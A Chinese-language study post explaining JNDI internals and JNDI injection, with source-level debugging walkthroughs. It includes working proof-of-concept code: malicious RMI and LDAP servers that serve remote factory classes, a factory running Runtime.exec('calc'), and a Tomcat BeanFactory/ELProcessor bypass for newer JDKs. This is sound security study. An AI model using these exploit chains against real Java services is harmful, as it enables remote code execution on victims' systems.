JNDI注入

参考文献:

Java安全学习——JNDI注入 - 枫のBlog

JNDI重看 | stoocea’s blog

JNDI简述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口。JNDI提供统一的客户端API,并由管理者将JNDI API映射为特定的命名服务目录服务,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。简单来说,开发人员通过合理的使用JNDI,能够让用户通过统一的方式访问获取网络上的各种资源和服务

命名服务(Naming Server)

命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如我们的RMI协议,可以通过名称来查找并调用具体的远程对象。再比如我们的DNS协议,通过域名来查找具体的IP地址。这些都可以叫做命名服务。

在命名服务中,有几个重要的概念。

  • Bindings:表示一个名称和对应对象的绑定关系,比如在在 DNS 中域名绑定到对应的 IP,在RMI中远程对象绑定到对应的name,文件系统中文件名绑定到对应的文件。
  • Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)。
  • References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

目录服务(Directory Service)

简单来说,目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。由此,我们不仅可以根据名称去查找(Lookup)对象(并获取其对应属性),还可以根据属性值去搜索(Search)对象。

一些常见的目录服务有:

  • LDAP: 轻型目录访问协议
  • Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
  • 其他基于 X.500 (目录服务的标准) 实现的目录服务;

JNDI SPI

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示

SPI(Service Provider Interface),即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。

JDK 中包含了下述内置的命名目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
  • DNS(域名转换协议)

除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户无需重复修改代码。

JNDI代码示例

JNDI 接口主要分为下述 5 个包:

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供LDAP服务支持
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务

下面我们通过具体代码来看看JNDI是如何实现与各服务进行交互的。

JNDI+RMI

RMI接口:

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Remoteobj extends Remote {
    public String sayHello(String kaywords) throws RemoteException;
    
}

RMI远程对象(实现类)

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteobjImpl extends UnicastRemoteObject implements Remoteobj {
    protected RemoteobjImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String keywords) throws RemoteException {
        String upkeywords = keywords.toUpperCase();
        System.out.println(upkeywords);
        return upkeywords;
    }

   
}

RMI服务端:

package org.example;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, MalformedURLException {


        Registry registry = LocateRegistry.createRegistry(1099);
        Remoteobj remoteobj = new RemoteobjImpl();
       
        Naming.bind("Bloyet", remoteobj);
    }

客户端:

package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;


public class JNDI {
    public static void main(String[] args) throws NamingException, RemoteException {
       Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        
        //初始化上下文
        Context initialContext = new InitialContext(env);
 
        //调用远程类
        Remoteobj remoteobj = (Remoteobj) context.lookup("Bloyet");
        remoteobj.sayHello("Hello World");

    }
}

JNDI + DNS

我们通过JNDI成功地调用了RMI和DNS服务。那么对于JNDI来讲,它是如何识别我们调用的是何种服务呢?这就依赖于我们上面提到的Context(上下文)了。

JNDI的工作流程

我们就拿我们熟悉一点的RMI举例:

        //设置JNDI环境变量
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        
        //初始化上下文
        Context initialContext = new InitialContext(env);

首先使用Hashtable类来设置属性*INITIAL_CONTEXT_FACTORY**PROVIDER_URL*的值。可以看到,这里我们将*INITIAL_CONTEXT_FACTORY*设置为了"com.sun.jndi.rmi.registry.RegistryContextFactory",JNDI正是通过这一属性来判断我们将要调用何种服务。

接着我们将属性PROVIDER_URL设置为了"rmi://localhost:1099",这正是我们RMI服务的地址。JNDI通过该属性来获取服务的路径,进而调用该服务。

最后向InitialContext类传入我们设置的属性值来初始化一个Context,于是我们就获得了一个与RMI服务相关联的上下文Context

当然 与RMI一样,Context同样通过以下五种方法来与被调用的服务进行交互

//将名称绑定到对象
bind(Name name, Object obj)
 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
list(String name) 
 
//检索命名对象
lookup(String name)
 
//将名称重绑定到对象 
rebind(String name, Object obj) 
 
//取消绑定命名对象
unbind(String name) 

JNDI底层代码实现

获取工厂类

断点打在这里

进入构造函数,调用init函数

获取环境变量,以及刚刚我们在hashtable中设置的环境变量,然后继续调用getDefaultInitCtx()方法

调用NamingManager 的 getInitialContext方法,跟进

public static Context getInitialContext(Hashtable<?,?> env)
    throws NamingException {
    InitialContextFactory factory;

    InitialContextFactoryBuilder builder = getInitialContextFactoryBuilder();
    if (builder == null) {
        // No factory installed, use property
        // Get initial context factory class name

        String className = env != null ?
            (String)env.get(Context.INITIAL_CONTEXT_FACTORY) : null;
        if (className == null) {
            NoInitialContextException ne = new NoInitialContextException(
                "Need to specify class name in environment or system " +
                "property, or as an applet parameter, or in an " +
                "application resource file:  " +
                Context.INITIAL_CONTEXT_FACTORY);
            throw ne;
        }

        try {
            factory = (InitialContextFactory)
                helper.loadClass(className).newInstance();
        } catch(Exception e) {
            NoInitialContextException ne =
                new NoInitialContextException(
                    "Cannot instantiate class: " + className);
            ne.setRootCause(e);
            throw ne;
        }
    } else {
        factory = builder.createInitialContextFactory(env);
    }

    return factory.getInitialContext(env);
}

这里首先通过getInitialContextFactoryBuilder()初始化了一个InitialContextFactoryBuilder类。如果该类为空,则将className设置为*INITIAL_CONTEXT_FACTORY*属性。还记得该属性是什么吗?就是我们手动设置的RMI上下文工厂类com.sun.jndi.rmi.registry.RegistryContextFactory 这里发现就是判断为空了,进入if语句 对classname进行赋值

接着往下看

这里通过loadClass()来动态加载我们设置的工厂类。最终调用的其实是RegistryContextFactory#getInitialContext()方法,通过我们的设置工厂类来初始化上下文Context

获取服务交互所需资源

现在JNDI知道了我们想要调用何种服务,那么它又是如何知道服务地址以及获取服务的各种资源的呢? 还是在刚刚那里,我们接着看

RegistryContextFactory#getInitialContext()
public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {
    if (var1 != null) {
        var1 = (Hashtable)var1.clone();
    }

    return URLToContext(getInitCtxURL(var1), var1);
}

var1 就是我们设置的环境 ,先跟进getInitCtxURL

JNDI通过我们设置的*PROVIDER_URL*环境变量来获取服务的路径

继续看 URLToContext

初始化了一个new rmiURLContextFactory(); 然后调用了rmiURLContextFactory#getObjectInstance方法,跟进

private static Context URLToContext(String var0, Hashtable<?, ?> var1) throws NamingException {
    rmiURLContextFactory var2 = new rmiURLContextFactory();
    Object var3 = var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
    if (var3 instanceof Context) {
        return (Context)var3;
    } else {
        throw new NotContextException(var0);
    }
}

var1 不为空 进入第二个if 调用getUsingURL 方法,跟进

发现调用了lookup方法,那就跟进看看

rmiURLContext本身没有lookup方法,调用到了父类的lookup方法

执行 getRootURLContext()方法获取解析结果,结果为图二,通过 getResolvedObj 方法取出 RegistryContext,然后继续调用lookup方法

RegistryContext#lookup

进入if语句 ,返回 一个RegistryContext新的实例,在实例化的时候,把信息也传好了

流程:

JNDI动态协议转换

实际上,在 Context#lookup()方法的参数中,用户可以指定自己的查找协议。JNDI会通过用户的输入来动态的识别用户要调用的服务以及路径。来看下面的例子

客户端:

package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDI {
    public static void main(String[] args) throws NamingException, RemoteException {
      
        String string = "rmi://localhost:1099/Bloyet";
        //初始化上下文
        Context context = new InitialContext();

        //调用远程类
        Remoteobj remoteobj = (Remoteobj) context.lookup(string);
        remoteobj.sayHello("Hello World");

    }
}

可以看到,我们并没有设置相应的环境变量来初始化Context,但是JNDI仍旧通过lookup()的参数识别出了我们要调用的服务以及路径,这就是JNDI的动态协议转换。

JNDI动态协议转换底层分析

断点打在

发现不管是调用lookup、bind或者是其他initalContext中的方法,都会先调用getURLOrDefaultInitCtx()方法进行检查。

先跟进getURLOrDefaultInitCtx()方法

会调用getURLScheme方法来获取通信的协议,这里获取到的就是rmi协议,然后把获取到的协议作为参数,调用getURLContext方法

protected Context getURLOrDefaultInitCtx(String name)
    throws NamingException {
    if (NamingManager.hasInitialContextFactoryBuilder()) {
        return getDefaultInitCtx();
    }
    String scheme = getURLScheme(name);
    if (scheme != null) {
        Context ctx = NamingManager.getURLContext(scheme, myProps);
        if (ctx != null) {
            return ctx;
        }
    }
    return getDefaultInitCtx();
}

跟进到NamingManager.getURLContext方法

调用getURLObject,继续跟进

getURLObject()方法

根据defaultPkgPrefix的属性来动态生成Factory

private static Object getURLObject(String scheme, Object urlInfo,
                                   Name name, Context nameCtx,
                                   Hashtable<?,?> environment)
        throws NamingException {

    // e.g. "ftpURLContextFactory"
    ObjectFactory factory = (ObjectFactory)ResourceManager.getFactory(
        Context.URL_PKG_PREFIXES, environment, nameCtx,
        "." + scheme + "." + scheme + "URLContextFactory", defaultPkgPrefix);

    if (factory == null)
      return null;

    // Found object factory
    try {
        return factory.getObjectInstance(urlInfo, name, nameCtx, environment);
    } catch (NamingException e) {
        throw e;
    } catch (Exception e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }

}

只要是这个包下的都是可以进行转换的协议

通过动态协议转换,我们可以仅通过一串特定字符串就可以指定JNDI调用何种服务,十分方便。但是方便是会付出一定代价的。对于一个系统来讲,往往越方便,就越不安全。

假如我们能够控制string字段,那么就可以搭建恶意服务,并控制JNDI接口访问该恶意,于是将导致恶意的远程class文件加载,从而导致远程代码执行。这种攻击手法其实就是JNDI注入,它和RMI服务攻击手法中的”远程加载CodeBase”较为类似,都是通过一些远程通信来引入恶意的class文件,进而导致代码执行。

JNDI-Refernce 类

Reference类表示对存在于命名/目录系统以外的对象的引用,比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化

有点像是RMI中Codebase的功能,在JNDI中我们可以利用Refernce进行调用远程服务器的类

Reference类构造函数

它的构造函数很多,这里就列举一种

Reference(String className,  String factory, String factoryLocation) 

className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载

factory为工厂类名

factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议

在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper类对Reference类或其子类对象进行远程包装成Remote类使其能够被远程访问。

JNDI注入

大概的思路就是:

受害者先向服务器请求一个Reference类,服务器返回一个Reference类,其中指明了需要创建的类,创建该类的工厂类,以及工厂类的地址

然后受害者尝试在本地加载指定的工厂类,发现没有,就会对指定远程地址去进行下载,然后远处返回一个恶意字节码,受害者接受字节码

将返回的字节码实例化,导致RCE

JNDI+RMI

服务端:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class JNDI_server {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        Reference reference=new Reference("RMIHello","RMIHello","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
        Naming.bind("rmi://127.0.0.1:1099/Bloyet",referenceWrapper);
    }
}

工厂类(恶意类)

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;

public class RMIHello extends UnicastRemoteObject implements ObjectFactory {

    public RMIHello() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

客户端:

package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;


public class JNDI {
    public static void main(String[] args) throws Exception {
     
        String string = "rmi://localhost:1099/Bloyet";
        //初始化上下文
        Context context = new InitialContext();

        //调用远程类
        context.lookup(string);
      

    }
}

利用python起个简单的http服务,然后启动服务端,在启动客户端。

注意点:

我们的工厂类最好是直接放在主目录下,不要放在模块下面,不然会提示找不到文件

成功弹出计算器

流程分析

JNDI 的动态协议转化导致我们能够从 Reference 类中读取地址,从恶意地址中获取恶意工厂类字节码内容,然后在本地进行实例化导致RCE

下面看具体代码

断点打在客户端

跟进getURLOrDefaultInitCtx

这里因为 URL 传值中制定了 RMI 协议,所以这里的 scheme 取出来是”RMI”,进入 if 判断完毕之后的内容,通过 NamingManager 的 getURLContext 的方法来获取 context,跟进

只有一个getURLObject方法,跟进

根据 scheme 的值构造出了 rmiURLContext 的构造实体 factory,然后调用factory.getObjectInstance,继续跟进

工厂类来获取 rmiURLContext 的内容,返回一个rmiURLContext实例

然后getURLOrDefaultInitCtx这一部分看完了,现在看lookup这一部分

rmiURLContext 本身没有 lookup 方法的定义,跟进到 GenericURLContext 的 lookup 方法

getRootURLContext 方法和getResolvedObj都是为了去获得RegistryContext,然后调用RegistryContext.lookup方法

继续跟进

然后这一部分就比较熟悉了,走到了RegistryImpl_Stub 部分了

从远程客户端上请求字节码了,最后调用 decodeObeject 进行实例化,跟进decodeObeject方法

跟进getObjectInstance

跟进getObjectFactoryFromReference方法

在这个方法中,调用了loadClass方法 加载字节码

JNDI+LDAP

LDAP简介

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

也就是说,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现。AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。

在LDAP中,我们是通过目录树来访问一条记录的,目录树的结构如下

dn :一条记录的详细位置
dc :一条记录所属区域    (哪一颗树)
ou :一条记录所属组织    (哪一个分支)
cn/uid:一条记录的名字/ID   (哪一个苹果名字)
...
LDAP目录树的最顶部就是根,也就是所谓的“基准DN"。

我们也可以使用LDAP服务来存储Java对象,如果我们此时能够控制JNDI去访问存储在LDAP中的Java恶意对象,那么就有可能达到攻击的目的。LDAP能够存储的Java对象如下

  • Java 序列化
  • JNDI的References
  • Marshalled对象
  • Remote Location

复现代码

环境配置

先需要导入unboundid依赖库

然后在项目结构中导入

代码

先写个LDAP服务端:(直接AI就行)

package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;

public class LDAP_server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] args) throws IOException {
        int port = 10389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

EXP(把恶意类放到服务端去)

package org.example;
import javax.naming.InitialContext;
import javax.naming.Reference;

public class LDAP_EXP {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext =new InitialContext();
        Reference reference =new Reference("RMIHello","RMIHello","http://localhost:8000/");
        initialContext.rebind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",reference);
    }
}

客户端:

package org.example;

import javax.naming.InitialContext;

public class LDAP_C {
    public static void main(String[] args) throws Exception {
        String string = "ldap://localhost:10389/cn=TestLdap,dc=example,dc=com";

        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

结果

先开启python服务,然后打开LDAP服务端,然后在运行EXP把恶意类放上去,然后在运行客户端,成功实现类加载

流程分析

整体和 RMI 很相似,我们断点依旧打在

步入

这里我们就不看getURLOrDefaultInitCtx(name)这一部分了,直接跟进lookup方法

调用父类的lookup方法

前面是一样获得LdapCtx 然后在调用lookup方法

ldapCtx 本身是没有 lookup 方法,还是得调它的父类

这里先跟进p_lookup方法

然后又调用了c_lookup方法,跟进

然后在调用getObjectInstance方法,跟进

然后继续调用getObjectFactoryFromReference,跟进

在这里进行加载字节码

JNDI高版本怎么实现绕过

源码对比:

在低版本JDK_8u65下,在RegistryContext#decodeObject()方法会直接调用到NamingManager#getObjectInstance(),进而调用getObjectFactoryFromReference()方法来获取远程工厂类

JDK_8u241

增加了一层类型检查以及trustURLCodebase的检查。基本上远程 codebase 都不会被允许加载了,

但是我们可以通过本地加载去绕过它,我觉得用本地解析 更准确。原理是服务器传递了一个客户端可以进行本地解析的类,然后客户端用已有的组件进行了解析,导致了RCE

绕过限制

该本地工厂类必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换,并且该工厂类至少存在一个getObjectInstance()方法

org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。

BeanFactorygetObjectInstance()会通过参数指定进行类加载,如何这个类是可以进行命令执行的,那就能RCE了

但是这里还有一个类型判断(是否为ResourceRef,是就可以进行类加载了),我们还得对它进行包装一下

复现

环境:

先导入对应的依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper-el</artifactId>
    <version>8.5.0</version>
</dependency>

服务端:

package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_server_bypass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
        resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Bloyet", referenceWrapper);
        System.out.println("Registry运行中......");

    }
}

客户端

package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDI {
    public static void main(String[] args) throws Exception {

        String string = "rmi://localhost:1099/Bloyet";
        //初始化上下文
        Context context = new InitialContext();

        //调用远程类
        context.lookup(string);


    }
}

流程分析

断点打在:

步入

直接看lookup了,前面那个函数流程不变

调用RegistryContext 的 lookup

RMI 原生获取到字节码之后,调用decodeObject

首先就是判断是否为RemoteReference类型,如果是就直接把我们要实例化的对象直接强制转换成RemoteReference类型,会导致后面的第二个if进去,导致加载失败

调用NamingManager#getObjectInstance,跟进

通过getFactoryClassName 获取到工厂类的全类名,调用getObjectFactoryFromReference先对它进行类加载
然后开始调用工厂类的getObjectInstance对类实现实例化加载

加载字节码,

获取方法,调用invoke

总结:

为了获取到 context 实例而去构造 factory 工厂类,然后通过 factory 去实例化 context,然后再去通过 context 去调用各种方法